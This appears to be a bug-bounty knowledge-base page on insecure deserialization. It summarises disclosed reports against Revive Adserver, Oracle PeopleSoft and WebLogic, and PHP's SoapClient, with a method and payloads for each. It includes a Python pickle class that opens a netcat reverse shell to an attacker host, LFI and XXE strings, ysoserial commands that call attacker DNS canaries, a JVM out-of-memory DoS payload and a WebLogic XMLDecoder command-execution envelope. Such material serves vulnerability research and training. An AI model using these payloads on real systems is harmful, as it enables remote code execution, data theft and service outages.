# LFI: POST /api/generate.php template=../../../../../../etc/passwd&type=text # PHP object injection payload (b64-decoded): a:2:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:...:"<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue'>]><memes><toptext>&xxe;</toptext>...";}i:1;O:11:"Maintenance":0:{}} # Python pickle RCE: class PickleRce(object): def __reduce__(self): return (os.system,("nc ATTACKER 9300 -e /bin/bash",)) # base64(cPickle.dumps(PickleRce())) -> send as status param

Insight — Recon internal services blindly via SSRF by walking /proc/<pid>/cmdline to reveal listening daemons and SSH tunnels. unserialize()/pickle.loads on any user input is RCE; __toString on injected PHP objects is a reliable trigger for XXE/SSRF.

Real-world example

PHP unserialize() on XML-RPC parameter (Revive Adserver)

◆ Critical
Specimen #542670 · revive_adserver · none · 11 votes · resolved
Program revive_adserverSurface webChain XML-RPC param -> unserialize() -> PHP object injection

Root cause

The XML-RPC endpoint www/delivery/dxmlrpc.php calls unserialize() on the first parameter of the 'pluginExecute' RPC method, so an attacker-supplied serialized object reaches unserialize() => PHP object injection.

Method

  1. Send an XML-RPC request invoking pluginExecute with a crafted serialized string as the first parameter.
  2. unserialize() instantiates attacker-controlled objects; chain a POP gadget for impact.
<methodCall><methodName>pluginExecute</methodName> <params><param><value><string>O:8:"EvilObj":0:{}</string></value></param></params> </methodCall>

Insight — RPC/XML-RPC method parameters are an overlooked unserialize() sink; audit dispatcher methods (pluginExecute-style) that pass raw params into unserialize(). Any reachable unserialize() on user input is PHP object injection.

Real-world example

Java Object Deserialization RCE in PeopleSoft /monitor (CVE-2017-10366)

◆ Critical
Specimen #329376 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain readObject() on POST body -> ysoserial gadget -> RCE (

Root cause

Oracle PeopleSoft's 'monitor' servlet (path /psc/<site>/.../monitor) deserializes POST bodies via readObject() with no type validation; a ysoserial object executes on deserialization -> RCE (or a malformed object -> OOM DoS).

Method

  1. Generate a blind-detection payload: ysoserial URLDNS http://CANARY.attacker > payload.
  2. POST it raw to the monitor endpoint: curl https://TARGET/monitor/<site> --data-binary @payload.
  3. A DNS query from the target to your BIND server confirms deserialization; swap URLDNS for CommonsCollections for RCE.
  4. DoS variant: post the known OOM byte payload to crash the JVM (java.lang.OutOfMemoryError).
java -jar ysoserial.jar URLDNS http://canary.attacker.tld > payload curl https://TARGET/monitor/EXPROD_1 --data-binary @payload -k # DoS: echo -n 'rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3...' | base64 -d > payload_dos curl https://TARGET/monitor/EXPROD_1 --data-binary @payload_dos -k

Insight — ysoserial URLDNS is the safe, universal blind test for Java deserialization -- it triggers only a DNS lookup, needs no gadget lib, and proves the sink before you weaponize. Exposed PeopleSoft /monitor endpoints are a classic readObject() sink; blocking the path is the fix (patching gadget libs is insufficient).

Real-world example

PHP object injection → SoapClient::__getCookies type confusion → RCE

◆ Critical
Specimen #73245 · ibb · awarded · 5 votes · resolved
Program ibbSurface webChain unserialize() PHP object injection -> internal type confu

Root cause

SoapClient::__getCookies() passed the _cookies property to Z_ARRVAL_P/zend_hash_copy without verifying it is a real array. Via unserialize() an attacker sets _cookies to a crafted string that the engine treats as a HashTable, so a fake HashTable/Bucket/ZVAL layout yields arbitrary memory disclosure or code execution.

Method

  1. Reach any unserialize() sink fed with attacker data
  2. Inject a SoapClient object whose _cookies is a string holding a fake HashTable/Bucket/ZVAL
  3. Call (or let the app call) __getCookies() to trigger the type-confused hash copy
  4. Point the fake ZVAL/function pointer at zend_eval_string to run arbitrary PHP/shell
O:10:"SoapClient":1:{s:8:"_cookies";s:<LEN>:"<FAKE_HASHTABLE_BYTES>";} // $z = unserialize($exploit); $z->__getCookies(); // fake ZVAL type byte 0x04 (IS_ARRAY) + crafted Bucket -> zend_hash_copy over attacker memory -> call func_addr (zend_eval_string)

Insight — unserialize() on attacker input is dangerous even without app-level POP gadgets: built-in classes (SoapClient here) can be weaponized directly through engine type confusion. Treat any unserialize sink as potential RCE and enumerate internal classes whose magic/accessor methods touch typed internals.

Real-world example

Oracle WebLogic wls-wsat XMLDecoder RCE (CVE-2017-10352)

◆ Critical
Specimen #634630 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web

Root cause

WebLogic's wls-wsat SOAP endpoint deserializes the WorkContext header with java.beans.XMLDecoder, which instantiates arbitrary Java objects. A ProcessBuilder object in the XML yields OS command execution.

Method

  1. Locate /wls-wsat/CoordinatorPortType (or other wls-wsat SOAP paths).
  2. Send a SOAP envelope whose work:WorkContext header contains a java.beans.XMLDecoder block.
  3. Prove exec with a Thread.sleep (timing) then ProcessBuilder running nslookup to a collaborator for OOB confirmation.
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>nslookup COLLAB.burpcollaborator.net</string></void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

Insight — Fingerprint outdated WebLogic and hit wls-wsat; XMLDecoder deserialization = deterministic RCE. Use Thread.sleep for a blind timing oracle and ProcessBuilder+nslookup for OOB proof without needing outbound HTTP.

Real-world example

Java deserialization RCE/DoS in Oracle PeopleSoft /monitor (URLDNS blind detection)

◆ Critical
Specimen #329400 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web

Root cause

Oracle PeopleSoft PSFT 'monitor' service deserializes attacker-supplied Java objects via readObject() with no type validation (CVE-2017-10366), so any client can post a serialized gadget chain and have it instantiated server-side.

Method

  1. Locate the PeopleSoft monitor endpoint (path /monitor/ on the PSC/PIA host).
  2. Generate a ysoserial URLDNS payload pointing at an attacker-controlled DNS name to blind-confirm deserialization without needing a gadget library on the classpath.
  3. POST the raw serialized bytes with Content-Type binary and watch the authoritative BIND log for the lookup to prove code execution.
  4. For full RCE swap URLDNS for a CommonsCollections/other RCE gadget; a tiny hand-crafted array payload triggers OutOfMemoryError DoS.
# blind-detect deserialization (no gadget needed): java -jar ysoserial-all.jar URLDNS http://dod_test.jexboss.info > payload curl https://TARGET/monitor/ --data-binary @payload -k # BIND log tell: client X#... query: dod_test.jexboss.info IN A # DoS payload (nested Object array, base64): echo -n "rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3..." | base64 -d > payload_dos curl https://TARGET/monitor/ --data-binary @payload_dos -k # -> java.lang.OutOfMemoryError: Java heap space

Insight — Use ysoserial URLDNS as a universal, dependency-free canary to confirm any Java deserialization sink before hunting a working RCE gadget; a DNS callback proves readObject() ran. On PeopleSoft the sink is the /monitor/ service (not /psc/), and patching gadget libraries is NOT a fix -- block the endpoint.

Real-world example

PHP object injection via unserialize() on XML-RPC 'what' parameter (Revive Adserver openads.spc)

◆ Critical
Specimen #512076 · revive_adserver · none · 4 votes · resolved
Program revive_adserverSurface web

Root cause

The adxmlrpc.php XML-RPC handler passes the attacker-controlled 'what' parameter of the openads.spc RPC method straight into unserialize(), enabling PHP Object Injection / POP-chain exploitation.

Method

  1. Send an XML-RPC request to www/delivery/adxmlrpc.php invoking the openads.spc method.
  2. Place a crafted serialized PHP object string in the 'what' parameter so it reaches the unserialize() call.
  3. Trigger a POP gadget chain (via __wakeup/__destruct magic methods of loaded classes) for object injection, and abuse serialize-related PHP CVEs.
POST /www/delivery/adxmlrpc.php HTTP/1.1 Content-Type: text/xml <?xml version="1.0"?> <methodCall> <methodName>openads.spc</methodName> <params> <param><value><string>O:8:"SomeClass":1:{s:3:"cmd";s:2:"id";}</string></value></param> </params> </methodCall> <!-- crafted PHP serialized object lands in unserialize() via the 'what' parameter -->

Insight — XML-RPC / RPC dispatch parameters are a classic hiding spot for unserialize() sinks. When you see a PHP endpoint taking an opaque string arg, feed a serialized object (O:...) probe and look for magic-method side effects; escalate via a POP chain from any autoloaded class.

§References & practice

  1. PortSwigger Web Security Academy — Insecure deserialization labs (hands-on practice).
  2. All 69 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.